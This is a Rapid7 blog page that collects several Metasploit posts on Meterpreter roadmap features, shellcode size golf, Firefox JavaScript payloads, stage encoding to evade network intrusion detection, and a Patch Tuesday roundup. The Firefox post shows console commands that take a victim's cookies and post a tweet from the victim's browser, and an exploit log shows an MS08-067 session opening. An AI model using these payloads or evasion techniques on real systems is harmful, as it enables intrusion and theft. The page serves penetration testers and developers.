Rapid7 Blog

Payload  

Meterpreter Survey 2015: You spoke, we listened, then wrote a bunch of code.

The Survey One month ago we asked the community for feedback about how they use Metasploit and what they want to see in the Meterpreter payload suite going forward. Over the course of a week we received over 400 responses and over 200 write-in suggestions…

The Survey One month ago we asked the community for feedback about how they use Metasploit and what they want to see in the Meterpreter payload suite going forward. Over the course of a week we received over 400 responses and over 200 write-in suggestions for new features. We have spent the last month parsing through your responses, identifying dependencies, and actively delivering new features based on your requests. These requests covered 20 different categories: General Feedback Metasploit Framework Features Metasploit RPC API Feedback The Antivirus Ate My Payload Meterpreter Platform Support Mimikatz Integration Meterpreter Pivoting Privilege Escalation Remote File Access Meterpreter Features Metepreter Stager Support Meterpreter Transport Flexibility Meterpreter HTTP Transport Options Meterpreter Proxy Support Communication Protection Communications Evasion Session Handlers Session Reliability Android Meterpreter Features Payload Generation We merged similar requests, removed duplicate items, and reworded many of the suggestions so far. For the issues specific to Meterpreter, you can now find them listed on the Meterpreter Wishlist. If you don't see your feedback listed, it was either merged into another item, or wasn't Meterpreter specific (Metasploit features, AV feedback, RPC API feedback, etc). After parsing through these, we grouped up similar items, figured out the missing dependencies, started building out a rough plan for 2015, and got down to business. Over the last two weeks we have made some serious progress, mostly focused on the work that has to be done before we can tackle the bigger features on this list. The wishlist items marked [DONE] were the result of this first sprint while the rest of the items listed as [IN PROGRESS] are being actively worked on by either myself, OJ Reeves, or Brent Cook. While there is no realistic chance that we can get to every feature that was submitted, we are going to try to build out enough supporting functionality that the community can tackle the wider group of features with minimum pain. If something jumps out that you want to work on, please join the IRC channel and see if there are any blocking issues before diving in. Once you have a green light, send us a pull request once you are ready for feedback. If you can't contribute, no worries, keep reading for what is done so far, and where we are headed. Attacks Have Changed The Metasploit Project started in 2003 with a broad goal of sharing information about exploit techniques and making the development of new security tools much easier. This was a time when shellcode golf was the name of the game, SEH overwrites had hackers yelling "POP, POP, RET!", and databases of opcodes at static addresses made exploit development possible for systems you didn't even have. Fast-forward a decade and exploit mitigations at the OS level have made traditional exploit methods obsolete and complicated reliable remote exploitation; at least for memory corruption vulnerabilities. At the same time, anti-virus tools, anti-malware network gateways, and SSL-inspecting web proxies have become a thorn in the side of many professional penetration testers. This shift away from memory corruption vulnerabilities hasn't decreased the number of compromises, nor has the availability of new security technologies, but the way networks get compromised has changed. As operating system and compiler vendors made memory corruption vulnerabilities more complicated on end-user and server platforms, attackers have shifted to the weakest links, which are typically the actual employees, their devices, and their passwords. Metasploit has continued to evolve to support these use cases, with a focus on client-side applications, web applications, embedded devices, and attacking the credentials themselves. The one area where Metasploit hasn't changed however, has been payloads. For the better part of 12 years, Metasploit payloads and encoders have had one primarily goal: fit inside of the exploits. This works great when Metasploit users are getting shells through memory corruption flaws, but doesn't make a lot of sense when attacks can deliver a multi-megabyte executable or JAR file onto the target. As a result, Metasploit payloads have been artificially constrained in terms of functionality and error handling. That has now changed. Payloads and encoders can now opt-in to new features, better error handling, and network-level evasion when they have the room for it. This is now enabled by default when using msfvenom (specificy -s to tell the payload how much space it can use). Separate, but related, was the slow startup time of the Metasploit Console (msfconsole). A few months ago, many users had to wait up to 30 seconds to use msfconsole on a modern system. After the switch to Ruby 2.1.5, this dropped to under 10 seconds for most users. Most recently, payloads now cache their static size, allowing us to use Metasm to generate and compile assembly on the fly, and knocking quite a bit of processing out of the startup time. Running the latest version of msfconsole on a SSD-enabled system with Ruby 2.1.5 can result in startup times between 1 and 5 seconds. These two changes pave the way to solving the number one piece of feedback: Payload size doesn't matter that much anymore. Many people use Metaslpoit payloads without exploits, either by delivering the payloads manually, or combining them with third-party tools like SET, and these payloads should support advanced options and handle network errors gracefully. Metasploit payloads now selectively enable functionality based on your use case and the available space. Sprint 1 Features The features below were some of the first dependencies needed to really tackle the features requested in the survey. These are available in the Metasploit Framework master branch today and will be going out to Metasploit Pro, Metasploit Express, Metasploit Community, and Kali Linux users this week. HTTP Stagers The reverse_http and reverse_https in stagers have been around for a few years and they solve a number of problems related to session egress within corporate networks, but they were starting to get dusty. First of all, we continued to add new versions of these payloads to handle specific use cases, like proxies, proxy authentication, and hopping through intermediate web services. We are now actively working on a complete refactor that merges all of this functionality into a smaller set of smarter payloads. In addition to bug fixes, better error handling, and size-aware feature selection, these payloads have been expanded with some new functionality: Long URIs: The reverse_http and reverse_https stagers now use much longer URIs by default. The old default was to use a 5-byte URI, but these were starting to get blocked by a number of web proxies. The new default is use a random URI between 30 and 255 bytes. WinHTTP: Borja Merino submitted a really nice set of reverse_winhttp and reverse_winhttps stagers. These stagers switch to the WinHTTP API (from WinInet), which helps bypass certain anti-malware implementations, and builds the base for a number of new features. The development started off as Borja's PR and eventually got rolled into the new Metasm base payload. SSL Validation: SSL certificate verification is now available in the reverse_winhttps stager. You can enable this by generating a payload with the HandlerSSLCert option set to the file name of a SSL certificate (PEM format) and setting the StagerVerifySSLCert option to true. The Metasploit exploit or exploit/multi/handler listener should set these options to the same value. Once these are set, the stager will verify that the SSL certificate presented by the Metasploit listener matches the SHA-1 hash of the HandlerSSLCert certificate and will exit if they don't match. This is a great way to make sure that a SSL-inspecting proxy isn't monkeying with your session and provides stager-level authentication that is resistant to man-in-the-middle attacks, even if the target system has a malicious CA root certificate installed. If you want to make this apply to all future uses of reverse_winhttp, use the setg command in msfconsole to configure HandlerSSLCert and StagerVerifySSLCert, then save to make these the default. We still have a lot more work to do on HTTP stagers, so keep an eye on ticket #4895 if you want to keep up on the latest changes. Meterpreter SSL Verification Updating the WinHTTP stagers to support SSL Verification is only part of the puzzle. OJ Reeves also delivered SSL certification validation in the Windows Meterpreter payloads. These can be enabled using the same HandlerSSLCert and StagerVerifySSLCert options as the stagers. If you set these within an exploit, the entire process is automatic, but if you are using exploit/multi/handler, be sure to set them both in the msfvenom generation (stageless or otherwise) as well as the listener. Note that verification occurs after the HTTP request has been sent. As a result you will get a "dead" session when the Meterpreter is enforcing this setting and doesn't see the right SSL certificate. We are looking into better solutions for this going forward. Meterpreter "Stageless" Payloads One often-requested feature was the ability to run Meterpreter without the shellcode stager. A project called Inmet (ultmet.exe) is best known for providing a stageless metsrv in the past, but this implementation wasn't as smooth as it should have been due to incompatibilities in the framework. Over the last two weeks, OJ Reeves has delivered an impressive approach to stageless Meterpreters and I strongly recommend that you check out his post on the topic. This is the first step to implement many of the advanced features requested in the survey. Meterpreter Unicode (최고) Nearly all Meterpreter payloads will support Unicode file and directory names, converting between UTF-8 and native string implementations as needed. If you used Metasploit outside of the US in the past, you may be familiar with the EnableUnicodeEncoding option in Meterpreter. Previously, this was set to true by default, and would translate garbled Unicode names into identifiers that looked like $U$-0xsomething. This made it possible to work with non-native encodings, but it wasn't much fun. Fortunately, so long as your Linux terminal supports UTF-8, this is no longer necessary. Windows users still need the EnableUnicodeEncoding crutch since Console2 doesn't implicitly support Unicode, but everyone else should be good to go for full Unicode support going forward. Unicode is still  a work in process, but it is nearly complete across all Meterpreter payloads: The Python and Windows Meterpreters have full Unicode support for file system operations. The PHP Meterpreter has support only on non-Windows platforms due to API limitations. The Java & Android Meterpreter have a pending pull request adding support for Windows and non-Windows. Note that Unicode is not automatically translated for shell sessions (or shell channels in Meterpreter). This is a bit more complicated, but is on our radar for long-term support. Meterpreter MS-DOS "short" Names Meterpreter now displays MS-DOS 8.3 "short" names when you use the ls command with the -x parameter on Windows. This makes it easy to copy, rename, and generally manipulate a file or directory with an unwieldy name. A quick and easy win and really useful in a pinch. Next Steps: April 2015 Our plans for the next month are centered around improving the Meterpreter code organization and build process, supporting unique embedded payload IDs (a precursor for universal listeners), improving the reliability and resilience of all Meterpreter transports, adding support for live transport switching to Meterpreter, and improving the usability of all of these features as we go. There is a ton of work to do, but these efforts will lay the groundwork for approaching the rest of the wishlist going forward. One of our goals is to maintain complete backwards compatibility with both old Metasploit installations and their associated payloads. More often than not this means taking two steps forward and one back as we make small incremental changes in quick succession. In addition to the fun part (the code), we will be updating the test suites and documentation as we go as well. May 2015 and Beyond We are looking at May as the time when we can start seriously considering BIG features. These may include remote scripting engines, enhanced pivoting, pluggable transports, and a deep dive into mobile device support. Figuring out what is going to fit and how to prioritize it is going to be driven by engineering challenges as much as community feedback and contributions. As attacks change, so will Metasploit, and the time has come for payloads to take the next big step. Onward, through the pull requests! -HD

12 Days of HaXmas: Opening Up My Top Secret Metasploit Time Capsule

This post is the second in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014. For today's HaXmas amusement, I have something fun to share with…

This post is the second in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014. For today's HaXmas amusement, I have something fun to share with you all. So the other day I was watching this movie called The Knowing, an action-thriller starring Nicolas Cage. The story of this movie begins with a school teacher telling the students that as part of the school's opening day celebration, they should make drawings showing the future as each of them sees it, and placing them in a time capsule. 50 years later, the time capsule is finally opened. But in it, there's an unusual letter full of numbers, which is eventually solved by the one and only Nicolas Cage. The numbers actually link to chilling predictions that either have already occurred or about to, such as earthquakes, fires, tsunamis, etc. And then... well, you should just watch the rest :-) While I was watching this movie, I was like "oh crap, almost forgot about this, but I got a time capsule too in one of my exploits!" My time capsule hasn't been buried for 50 years, but when I created this I was actually hoping someone would discover it, and then maybe have a laugh. But as far as I can tell, nobody did. So, today is the day I reveal that secret. I created this time capsule in 2011 for my CVE-2010-3275 exploit, also known as "VLC AMV Dangling Pointer Vulnerability". I remember that while writing this exploit, I couldn't really find an AMV file, so I decided to grab my camera, recorded a short video, and then used a converter to convert the video format to AMV. The video has a message, but is kind of corrupt so you can't actually see it. You can hear something at least, which is meant to be a hint that there's something in the video. You will have to modify back, and I'm going to tell you how. First off, grab a copy of msf/data/exploits/CVE-2010-3275.amv. Second, you need a hex editor. My personal favorite is 010 Editor, but use whatever you want. Open the AMV file, and then at the 0x40th byte, you will see this DWORD 0xA0 0xA0 0x00 0x00. This is actually the resolution width of the video, which is the mangled portion that caused the vulnerability. Change the second 0xA0 back to 0x00, which translates to 160 in decimal, like the following screenshot: Ok, now, go download VLC player. The latest isn't vulnerable anymore, so you're fine. Finally, open the AMV file with your VLC Player, and you shall see the hidden message that's been buried for years: In case you're wondering where I got that Got Root? sticker, I got it from Defcon, and you can buy yours from Jinx. And this is almost certainly the only Easter Egg left in Metasploit. You probably shouldn't bother looking for more.

Shellcode Golf: Every Byte is Sacred

Shellcode is an exercise in trade-offs. To be really flexible and fit in the most exploits, shellcode must be small.  On the other side of the scale, there are certain features that you need or want, each adding to the size. For instance, doing DNS…

Shellcode is an exercise in trade-offs. To be really flexible and fit in the most exploits, shellcode must be small.  On the other side of the scale, there are certain features that you need or want, each adding to the size. For instance, doing DNS resolution in the first stage payload is useful, but (in Windows) requires adding 80 bytes to the stager. So we have to balance size, which is very important for compatibility with some exploits that have limited buffers to work with, with features and reliability, which are important for world domination. Metasploit's existing stagers are usually small enough, and our encoders get rid of bad characters for you, so it doesn't make sense to spend a lot of time writing your own payloads or optimizing to get rid of pesky bytes. Sometimes, though, a few bytes can make a big difference.  For example, the exploit for MS08-067, ms08_067_netapi.rb has a buffer size of 400 bytes; we'll come back to this in a moment. block_api block_api is a brilliant piece of kit that rummages through MZ headers looking for the function we want to call so that finding a pointer to, say, "InternetOpenA" which is portable and reliable on all versions of Windows. Because all of our Windows payloads use it, a win here can make all our Windows payloads a little bit smaller. The first win comes from the fact that x86 has several ways of addressing memory. This is the original code: add eax, edx ; Add the modules base address mov eax, [eax+120] ; Get export tables RVA The mov instruction here is using the "mov reg, r/m" form, which allows us to do some simple math on a register (adding 120) without having to store the result. The "r/m" argument is a little more flexible, though. It was intended to be able to reference tables and can take "[ base scale*index disp32 ]", where base would normally be the beginning of the table, scale would be the size of its elements, index would be the index of the element you want, and disp32 the offset within that element. Armed with this knowledge, both of the above instructions can be condensed into one: mov eax, [eax+edx+120] ; Get export tables RVA for a one-byte saving. Every byte is sacred, after all. The second reduction comes from the fact that the designers of x86 intended the ECX register to be used as a loop counter and thus added several instructions that treat it specially. jecxz is one that allows us to jump without having to explicitly test a register. By using ECX for our EAT pointer instead of EAX, we can turn this: test eax, eax ; Test if no export address table is present jz get_next_mod1 ; If no EAT present, process the next module into this: jecxz get_next_mod1 ; If no EAT present, process the next module saving another 2 bytes. reverse_http(s) That's all great for improving your shellcode golf score, but the big win came in the reverse_http and reverse_https payloads. The first thing I noticed about reverse_http is that it used the time-honored tradition of jmp'ing ahead, then call'ing backwards and popping the return address to get the address of a string on the stack (in this case, it was the hostname and URI to callback to). Then it would store that value in a register and later push it as an argument to a function. Since the call instruction already puts the value on the stack, I simply rearranged it to be in the argument setup instead of beforehand, e.g. something like this pseudocode: jmp get_uri got_uri: pop ebx push eax push eax push ebx call ... get_uri: call got_uri db "/12345", 0x00 became this: push eax push eax jmp get_uri got_uri: call ... get_uri: call got_uri db "/12345", 0x00 If we have an instruction like this: mov esi, eax and we don't need eax to keep its value (in this case we don't), we can replace this it with xchg esi, eax and save another byte. The next savings came from a need for zeros. In almost every function call made in reverse_http(s), we need a zero (or a NULL) for at least one argument.  In fact, we need zero so often that it makes sense to just save it in a register and use it over and over. Previously this was ad-hoc, done at the beginning of each function with a different register. By zeroing one register at the beginning and using it throughout the payload, we can save even more space. Before this change, reverse_https was 368 bytes unencoded. Encoding with x86/call4_dword_xor knocks it up to 392 bytes. With x86/jmp_call_additive, it is 397 bytes. With the added stuff that ms08_067_netapi needs for fixing up the stack, it comes to 404 and 409, respectively. If you'll recall, that's too large for ms08_067_netapi. The encoders that produce decoding stubs with less overhead also produce badchars for this exploit, so shikata_ga_nai encoding (for instance) will not work. After this change, reverse_https is 350 bytes unencoded. With all of ms08_067_netapi's restrictions, we can now encode it to a size that will fit. And there was much rejoicing. Happy hacking.

New Metasploit Payloads for Firefox Javascript Exploits

Those of you with a keen eye on metasploit-framework/master will notice the addition of three new payloads: firefox/shell_reverse_tcp firefox/shell_bind_tcp firefox/exec These are Javascript payloads meant for executing in a privileged Javascript context inside of Firefox. By calling…

Those of you with a keen eye on metasploit-framework/master will notice the addition of three new payloads: firefox/shell_reverse_tcp firefox/shell_bind_tcp firefox/exec These are Javascript payloads meant for executing in a privileged Javascript context inside of Firefox. By calling certain native functions not meant to be exposed to ordinary web content, a classic TCP command shell can be opened. To a pentester, these payloads are useful for popping platform-independent in-process shells on a remote Firefox instance. How does it work? Firefox contains a Javascript API called XPCOM which consists of privileged native methods primarily implemented as C bindings. This API is commonly invoked by Firefox Addons and is also used by the "glue" code running inside the Firefox browser itself. If you can find a way to run Javascript code with access to XPCOM - either by convincing the user to install an untrusted addon or by finding a privilege escalation exploit in Firefox itself - you can open a raw TCP socket and run executables with Javascript. By using some shell redirection, we can get a working command shell connection back to a metasploit instance. We currently have three Firefox privilege escalation exploits in the framework: exploit/multi/browser/firefox_svg_plugin (Firefox 17.* Flash) exploit/multi/browser/firefox_proto_crmfrequest (Firefox 5-15.*) exploit/multi/browser/firefox_xpi_bootstrapped_addon (all versions) Why is it better? The Javascript payloads are able to maintain shell sessions without dropping a native exe to the disk, which makes their presence significantly harder to detect. Another immediate benefit is that our existing Firefox exploits can now be included in BrowserAutopwn, since the target is static. Additionally, since the payload still has access to the Firefox Javascript environment, we can just as easily eval Javascript code, which makes things like cookie extraction or XSS attacks very easy. As an example I wrote a post module, post/firefox/gather/xss. To use it, simply specify the URL you want to run under and specify a SCRIPT option. The SCRIPT will be eval()'d by the payload and any results will be printed: msf> use post/firefox/gather/xss msf> set SESSION 1 msf> set URL https://rapid7.com msf> set SCRIPT "send(document.cookie);" [+] id=f612814001be908ds79f Or, with a slightly more advanced script which sends a tweet in the target browser: msf> set URL https://twitter.com msf> set SCRIPT "$('.tweet-box').find('.tweet-box').focus().text('Metasploit Courtesy Tweet').parents('form').find('.tweet-button button').click(); return 'sent';" [+] sent Note: You can use return or send to send back data, but you can only send once. If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

Stage Encoding -or- How I Learned to Stop Worrying and Love the String#<<Operator

As I mentioned in my post about compiling on the fly, encoders' primary purpose in life is to avoid bad characters in a payload. To recap, the main reason a character is considered "bad" is that some aspect of the exploit makes use of that…

As I mentioned in my post about compiling on the fly, encoders' primary purpose in life is to avoid bad characters in a payload. To recap, the main reason a character is considered "bad" is that some aspect of the exploit makes use of that character impossible.  One reason this might be the case is when a character gets stripped out or mangled along its journey through protocol decoding. For example, in the telnet protocol, \xff is the IAC or Interpret As Command byte. It is treated specially and cannot be used in a payload delivered via that protocol.However, encoders have a secondary purpose as well: entropy. Encoders are essentially ineffective against Anti-Virus in most cases because of the nature of executable payloads, but can be much more useful against network-based intrusion detection. By making traffic as random as possible, we make it much more difficult for pattern matching on packets to notice anything nefarious.One place this has been missing is in the second stage payloads. With a staged payload, the first stage connects back to Metasploit who hands it back a larger, more featureful payload. In the case of Meterpreter, the second stage payload is actually a DLL using Stephen Fewer's reflective loading technique to be able to treat the whole file as shellcode.  What this means from a network defense perspective, is seeing an MZ header come across the wire. That's bad news for the poor pentester who's just trying to make ends meet by owning corporate networks and stealing passwords.Enter stage encoding. Encoding the second stage works just like encoding the stager but the purpose is different. Since the exploit has already done all the hard work of achieving code execution, and the first stage has prepared a nice chunk of memory for us to run in, the second stage doesn't have to worry about pesky things like character restrictions.Here it is in action:01:49:54 0 0 exploit(ms08_067_netapi) > show advanced      [ ... snip ... ] Payload advanced options (windows/meterpreter/reverse_tcp):      [ ... snip ... ]    Name           : EnableStageEncoding    Current Setting: false    Description    : Encode the second stage payload      [ ... snip ... ]    Name           : StageEncoder    Current Setting:    Description    : Encoder to use if EnableStageEncoding is set      [ ... snip ... ] 01:49:55 0 0 exploit(ms08_067_netapi) > set EnableStageEncoding true EnableStageEncoding => true 01:49:55 0 0 exploit(ms08_067_netapi) > exploit -z [*] Started reverse handler on 0.0.0.0:4444 [*] Automatically detecting the target... [*] Fingerprint: Windows 2003 - Service Pack 1 - lang:Unknown [*] We could not detect the language pack, defaulting to English [*] Selected Target: Windows 2003 SP1 English (NX) [*] Attempting to trigger the vulnerability... [*] Encoded stage with x86/shikata_ga_nai [*] Sending encoded stage (752158 bytes) to 192.168.99.128 [*] Meterpreter session 8 opened (192.168.99.1:4444 -> 192.168.99.128:1028) at 2013-01-29 01:50:18 -0600 [*] Session 8 created in the background. 01:50:18 1 0 exploit(ms08_067_netapi) > The output here is only subtly different from before. Stage encoding adds a new line ("[*] Encoded stage with x86/shikata_ga_nai") telling us it has done its job. But the network is a different story. Here's what it looks like without stage encoding:And here it is with stage encoding enabled:Like encoding of the stager (or the single stage in the case of a standalone payload), we start with the highest ranked encoder module and fall through to lower-ranked modules if that doesn't work. Since there are no bad characters to avoid, the system will always pick the highest ranked encoder. Encoders are ranked by randomness, so you'll get a pretty good pile of entropy from the default for your platform (for x86, this is shikata_ga_nai). If you don't like that, you can set a particular one in the StageEncoder advanced option.The idea for stage encoding has been around for a long time -- the first commit to introduce it was back in 2007 -- but it's been disabled for almost as long. Back in October, open source contributor Agix brought it back to the world's attention with a pull request that uncommented the encoding.  Unfortunately, it still had the problems that skape had encountered in 2007, namely that it just took far too long to encode the larger buffer of the second stage. After debating with several folks on what to do with this problem, I decided to just dig into it and find out why it was so slow and whether there was anything we could do about it.Two major performance enhancements came out of that digging. The first was taking advantage of the fact that there can be no bad xor keys if there are no bad characters to avoid. Short-circuiting a loop over the entire buffer saved a bit. The second was much more substantial and has to do with a quirk of Ruby string manipulation, which I mentioned before, in 2009.String#<< is the append operator. It takes the argument and stuffs it onto the end of your string, changing it in place.  String# on the other hand, returns a new String containing both. There is some amount of overhead in creating a new object compared to just changing an existing one, but that's only part of the issue here. The difference from a performance perspective is best illustrated with some pseudo-C:// String#<< self = realloc(self, strlen(self) strlen(other) 1); memcpy(self strlen(self), other, strlen(other)); return self; // String# a = malloc(strlen(self) strlen(b) 1); memcpy(a, self, strlen(self)); memcpy(a strlen(b), self, strlen(self)); return a; Notice that appending requires copying only the argument while creating a new string requires copying both, in addition to that small amount of overhead for creating a new string object. Notice also that if you put this in a loop, that small amount of overhead gets multiplied by the length of the loop and you take another hit the next time the garbage collector runs.Changing one line in the encoding system to use << instead of = improved the performance of encoding large buffers by two orders of magnitude. The result is usable encoding on ~1MB of shellcode and no more MZ headers on the wire.

March Patch Tuesday Roundup

Since Microsoft is on this new staggered pattern of releases, we can expect a feast or famine every other month...so get used to it. Depending on what side of the desk you sit on you can adjust the context. With that being said, this…

Since Microsoft is on this new staggered pattern of releases, we can expect a feast or famine every other month...so get used to it. Depending on what side of the desk you sit on you can adjust the context. With that being said, this month's release brought us 3 patches addressing  4 vulnerabilities. I think we were all expecting to see the MHTML protocol handler issue resolved, however it didn't make the cut. Make sure IE is in restricted mode or at least you're restricting ActiveX and Active Scripting for your users until the fix is released. This vulnerability is already being leveraged for geo-political warfare according to Google. The honorable mention of this release goes to MS11-015. MS11-015 is classified as the only "Critical" update this release. MS11-015 CVE-2011-0042 This vulnerability is exposed when the Stream Buffer Engine (SBE) trys to parse “.dvs-ms” files.  This limitation will allow any of your IE users to be remotely exploited when using Windows Media Center or Media Player to play these files.  You can expect social engineering vectors to be used here… emails pointing to a DVS file or an iFrame rendering one. MS11-016 - CVE-2010-3146 / MS11-017 CVE-2011-0029 The last two I won't spend too much time on them, as they fall in line with the not so surprising DLL Hijacking exposures we've been seeing from Microsoft. You'll also see them called “binary planting vulnerabilities"...at the end of the day they're the same issue.  HD has a great post detailing the characteristics of this exposure here. Below is the official breakdown of the March 2011 Patch Tuesday Release: MS11-015/KB2510030 - Critical (XP, Vista, 7)/Important (2008 R2) Vulnerabilities in Windows Media Could Allow Remote Code Execution (2510030) This security update resolves one publicly disclosed vulnerability in DirectShow and one privately reported vulnerability in Windows Media Player and Windows Media Center. The more severe of these vulnerabilities could allow remote code execution if a user opens a specially crafted Microsoft Digital Video Recording (.dvr-ms) file. In all cases, a user cannot be forced to open the file; for an attack to be successful, a user must be convinced to do so. **PATCH ASAP** MS11-016/KB2494047 - Important (Microsoft Groove 2007): Vulnerability in Remote Desktop Client Could Allow Remote Code Execution (2508062) This security update resolves a publicly disclosed vulnerability in Windows Remote Desktop Client. The vulnerability could allow remote code execution if a user opens a legitimate Remote Desktop configuration (.rdp) file located in the same network folder as a specially crafted library file. For an attack to be successful, a user must visit an untrusted remote file system location or WebDAV share and open a document from this location that is then loaded by a vulnerable application. MS11-017/KB2508062 - Important (CP, Vista, 7, 2003, 2008, 2008 R2): Vulnerability in Microsoft Groove Could Allow Remote Code Execution (2494047) This security update resolves a publicly disclosed vulnerability in Microsoft Groove that could allow remote code execution if a user opens a legitimate Groove-related file that is located in the same network directory as a specially crafted library file. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights. Until next time….

Help your new sweethearts call home to Metasploit

Setting listener host and ports for payloads in Metasploit ProLife is full of disappointments: You spend a lot of time flirting with a cute new machine, convince it to accept your payload, and never get a call back – just because the big bad NAT…

Setting listener host and ports for payloads in Metasploit ProLife is full of disappointments: You spend a lot of time flirting with a cute new machine, convince it to accept your payload, and never get a call back – just because the big bad NAT is not letting your new sweetheart phone home. That's why many of you broken hearted pentesters have asked us to make the listener port and IP address for payloads configurable to ports that are usually accessible, such as ports 80 and 443. This week's release of Metasploit Express and Metasploit Pro enables this configuration, so that your new found love can phone you back. If you're using Metasploit Pro, you can also use VPN pivoting to talk to her sisters, which I blogged about earlier this week.Enough love – back to business! This week, you have 12 new modules to play with, including an unpatched Internet Explorer exploit, the ProFTPD buffer overflow (for Linux and FreeBSD) and yet another Adobe exploit. Metasploit Pro's social engineering campaign feature now supports SMTP authentication when sending out emails with phishing links or exploit attachments. We've also added more granular control in the discovery phase with custom nmap command lines. In the smart bruteforcing dialog, you can now upload wordlists through the interface to tweak your dictionary attacks with terms tailored for your target. For example, you can upload a medical terms wordlist when you attack a healthcare provider, or upload a non-English wordlist for assignments in other countries. You can also import PWDump format files for pass-the-hash attacks, or export hashes to a dedicated password cracker such as john.That's all for today – have a great weekend!

Featured Research

National Exposure Index 2017

The National Exposure Index is an exploration of data derived from Project Sonar, Rapid7's security research project that gains insights into global exposure to common vulnerabilities through internet-wide surveys.

Learn More

Toolkit

Make Your SIEM Project a Success with Rapid7

In this toolkit, get access to Gartner's report “Overcoming Common Causes for SIEM Solution Deployment Failures,” which details why organizations are struggling to unify their data and find answers from it. Also get the Rapid7 companion guide with helpful recommendations on approaching your SIEM needs.

Download Now

Podcast

Security Nation

Security Nation is a podcast dedicated to covering all things infosec – from what's making headlines to practical tips for organizations looking to improve their own security programs. Host Kyle Flaherty has been knee–deep in the security sector for nearly two decades. At Rapid7 he leads a solutions-focused team with the mission of helping security professionals do their jobs.

Listen Now